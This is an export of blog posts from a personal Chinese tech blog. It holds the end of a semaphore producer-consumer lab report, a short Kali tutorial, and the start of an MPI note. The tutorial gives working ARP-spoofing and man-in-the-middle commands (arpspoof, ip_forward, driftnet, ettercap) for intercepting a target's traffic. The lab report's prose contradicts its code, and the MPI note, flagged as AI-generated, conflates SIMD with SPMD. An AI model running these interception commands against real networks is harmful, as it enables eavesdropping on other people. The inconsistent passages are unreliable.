title=\"二、实验过程\"\u003e\u003c/a\u003e二、实验过程\u003c/h3\u003e\u003cp\u003e创建一个\u003ccode\u003emain.c\u003c/code\u003e,并引入头文件\u003ccode\u003esemaphore.h\u003c/code\u003e和\u003ccode\u003eunistd.h\u003c/code\u003e。在主程序中定义一个全局变量\u003ccode\u003ebuffer\u003c/code\u003e作为缓冲区,并初始化为0。随后在主程序中创建两个信号量\u003ccode\u003eempty\u003c/code\u003e和\u003ccode\u003efull\u003c/code\u003e,分别表示空缓冲区的数量和满缓冲区的数量,并初始化为8和0。然后使用\u003ccode\u003efork()\u003c/code\u003e函数创建一个子进程。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc==0\u003c/code\u003e,则当前进程是子进程。子进程作为消费者进程,循环执行以下操作:使用\u003ccode\u003esem_wait()\u003c/code\u003e函数等待\u003ccode\u003efull\u003c/code\u003e信号量,表示有产品可消费;使用\u003ccode\u003esleep()\u003c/code\u003e函数模拟消费时间;将缓冲区的值减一,并打印出当前缓冲区的值;使用\u003ccode\u003esem_post()\u003c/code\u003e函数增加\u003ccode\u003eempty\u003c/code\u003e信号量,表示释放一个空缓冲区。\u003c/p\u003e\u003cp\u003e如果\u003ccode\u003erc\u0026gt;0\u003c/code\u003e,则当前进程是父进程。父进程作为生产者进程,循环执行以下操作:使用\u003ccode\u003esem_wait()\u003c/code\u003e函数等待\u003ccode\u003eempty\u003c/code\u003e信号量,表示有空缓冲区可用;使用\u003ccode\u003esleep()\u003c/code\u003e函数模拟生产时间;将缓冲区的值加一,并打印出当前缓冲区的值;使用\u003ccode\u003esem_post()\u003c/code\u003e函数增加\u003ccode\u003efull\u003c/code\u003e信号量,表示增加一个满缓冲区。\u003c/p\u003e\u003ch3 id=\"三、实验代码-5\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%B8%89%E3%80%81%E5%AE%9E%E9%AA%8C%E4%BB%A3%E7%A0%81-5\" class=\"headerlink\" title=\"三、实验代码\"\u003e\u003c/a\u003e三、实验代码\u003c/h3\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;signal.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;unistd.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;pthread.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;semaphore.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e SIZE 8\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e buffer[SIZE], index=\u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003esem_t\u003c/span\u003e items, space;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003epthread_mutex_t\u003c/span\u003e mutex;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e *\u003cspan class=\"title function_\"\u003eproduce\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e *arg)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sem_wait(\u0026amp;space);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_mutex_lock(\u0026amp;mutex);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//c = getchar();\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e c = \u003cspan class=\"string\"\u003e\u0026#39;a\u0026#39;\u003c/span\u003e + rand()%\u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[producer] %c\\n\u0026#34;\u003c/span\u003e, c);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e buffer[index++] = c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_mutex_unlock(\u0026amp;mutex);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sem_post(\u0026amp;items);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e *\u003cspan class=\"title function_\"\u003econsume\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e *arg)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e c;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sem_wait(\u0026amp;items);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_mutex_lock(\u0026amp;mutex);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e c = buffer[--index];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;[consumer] %c\\n\u0026#34;\u003c/span\u003e, c);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_mutex_unlock(\u0026amp;mutex);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sem_post(\u0026amp;space);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eprint_buffer\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e(i=\u003cspan class=\"number\"\u003e0\u003c/span\u003e; i\u0026lt;index; i++){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%c\u0026#34;\u003c/span\u003e, buffer[i]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003epthread_t\u003c/span\u003e p1, c1, p2, c2, p3, c3;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(pthread_mutex_init(\u0026amp;mutex, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e) != \u003cspan class=\"number\"\u003e0\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Mutex init failed\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sem_init(\u0026amp;items, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e sem_init(\u0026amp;space, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, SIZE);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_create(\u0026amp;p1, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, produce, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_create(\u0026amp;p2, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, produce, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_create(\u0026amp;p3, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, produce, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_create(\u0026amp;c1, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, consume, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_create(\u0026amp;c2, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, consume, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_create(\u0026amp;c3, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, consume, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_join(p1, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_join(p2, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_join(p3, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_join(c1, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_join(c2, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e pthread_join(c3, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"四、实验结果-5\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E5%9B%9B%E3%80%81%E5%AE%9E%E9%AA%8C%E7%BB%93%E6%9E%9C-5\" class=\"headerlink\" title=\"四、实验结果\"\u003e\u003c/a\u003e四、实验结果\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230523170029.png\"/\u003e\u003c/p\u003e\u003cp\u003e可以看到,生产者进程和消费者进程能够通过信号量来同步他们的操作,保证缓冲区的值不会超过8或低于0。\u003c/p\u003e\u003ch3 id=\"五、实验心得-5\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/#%E4%BA%94%E3%80%81%E5%AE%9E%E9%AA%8C%E5%BF%83%E5%BE%97-5\" class=\"headerlink\" title=\"五、实验心得\"\u003e\u003c/a\u003e五、实验心得\u003c/h3\u003e\u003cp\u003e通过这次实验,我懂得了Linux下信号量的原理和用法,知道了如何使用系统调用来创建和操作信号量,在生产者消费者问题中实现进程同步。同时,我也了解了如何使用信号量来控制资源的访问和分配。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/05/23/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F%E5%AE%9E%E9%AA%8C%E6%8A%A5%E5%91%8A/"},{"title":"使用Kali进行ARP欺骗攻击","time":"2023-05-22T02:28:36Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"步骤\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/arp-kali/#%E6%AD%A5%E9%AA%A4\" class=\"headerlink\" title=\"步骤\"\u003e\u003c/a\u003e步骤\u003c/h2\u003e\u003cp\u003e先用\u003ccode\u003eifconfig\u003c/code\u003e看网卡名称,我是\u003ccode\u003eeth0\u003c/code\u003e。随后用\u003ccode\u003efping\u003c/code\u003e或者\u003ccode\u003enmap\u003c/code\u003e扫描网段\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efping -asg 192.168.16.0/24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 或者这条\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003enmap 192.168.16.1-100\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003earpspoof -i eth0 -t [target IP] [gate]\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果想做中间人攻击,编辑\u003ccode\u003e/etc/sysctl.conf\u003c/code\u003e,添加配置\u003ccode\u003enet.ipv4.ip_forward=1\u003c/code\u003e,就可以开启端口转发。\u003c/p\u003e\u003cp\u003e此时重新运行,不过得换一下网关ip和目标ip\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003earpspoof -i eth0 -t [gate] [target IP] \u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e随后打开另一个终端,运行\u003ccode\u003edriftnet\u003c/code\u003e和\u003ccode\u003eettercap\u003c/code\u003e:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003edriftnet -i eth0 -a -d /root/out\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eettercap -Tq -i eth0\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e在上面的目录可以看到缓存的图片,下面的终端可以看到eth0的流量。至此,攻击测试完成。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/05/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/arp-kali/"},{"title":"C语言MPI学习笔记","time":"2023-04-27T15:48:54Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"简介\"\u003e\u003ca href=\"https://xeonds.github.io/2023/04/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80MPI%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e内容由New Bing自动生成,注意甄别\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eMPI是一种用于并行计算的消息传递接口,它可以让多个进程在不同的机器(节点)上协同工作,通过发送和接收数据来完成复杂的计算任务。\u003c/p\u003e\u003cp\u003e简单地说,这是一个位高性能并行计算提供的一个\u003cstrong\u003e基础通信规范\u003c/strong\u003e。依靠它,可以编写出在多个核心/CPU集群上并行运行的程序。\u003c/p\u003e\u003cp\u003e要使用C语言MPI,您需要安装一个MPI软件,如MPICH,OpenMPI或MVAPICH,并使用mpicc或mpic++命令来编译您的C程序。\u003c/p\u003e\u003cp\u003e您还需要使用一些MPI的API函数来初始化和结束MPI环境,获取进程数和进程编号(称为“rank”),以及进行数据交换。\u003c/p\u003e\u003cp\u003e数据交换的主要方式有两种:发送(send)和接收(recv)。发送可以分为阻塞(blocking)和非阻塞(non-blocking)两种,阻塞发送会等待数据被接收方确认,而非阻塞发送会继续执行后续的代码,但需要使用等待(wait)函数来同步数据的状态。\u003c/p\u003e\u003cp\u003e依靠MPI构建的数据计算程序有多种架构,MIMD和SIMD都是它支持的架构。不过一般使用后一种,也就是单程序多数据流。\u003c/p\u003e\u003cp\u003e对于这种架构,又有两种不同的设计模式:主从结构,以及对等结构。它们适用于大多数情况。\u003c/p\u003e\u003ch2 id=\"实例\"\u003e\u003ca href=\"https://xeonds.github.io/2023/04/27/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80MPI%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E5%AE%9E%E4%BE%8B\" class=\"headerlink\" title=\"实例\"\u003e\u003c/a\u003e实例\u003c/h2\u003e\u003cp\u003e下面是一个简单的C语言MPI程序的示例,它可以计算圆周率的近似值:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e作者:\u003ca href=\"mailto:xiongw21@mails.tsinghua.edu.cn\"\u003exiongw21@mails.tsinghua.edu.cn\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan 